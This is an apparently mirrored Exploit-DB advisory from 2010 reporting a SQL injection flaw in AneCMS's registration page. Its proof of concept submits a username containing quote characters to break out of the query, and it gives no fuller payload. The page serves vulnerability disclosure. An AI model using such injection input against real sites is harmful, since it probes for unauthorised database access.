AneCMS – ‘/registre/next’ SQL Injection - 体验盒子

作者： Sweet

日期： 2010-08-23

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/14716/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

############################################################################

##

# Exploit Title: anecms SQli #

##

# Date: 23/08/2010 #

##

# Author: Sweet#

##

# Contact : charif38@hotmail.fr#

##

# Software Link: anecms.com#

##

# Download: anecms.com/anecms.zip#

##

# Version: All #

##

# Tested on: WinXp sp3 #

# Description : anecms is an open source blog manager#

##

############################################################################

Sqli:

The POST variable username has been set to sweet'" on http://vulnerable.com/register/next

Poc:

http://www.example.com/register/next

username = Sweet'"

password = test

re password = test

email = charif38@hotmail.fr

then register :]

screen : http://img830.imageshack.us/img830/1213/anecm.jpg

Saha Ftourkoum et 1,2,3 viva L'Algerie :))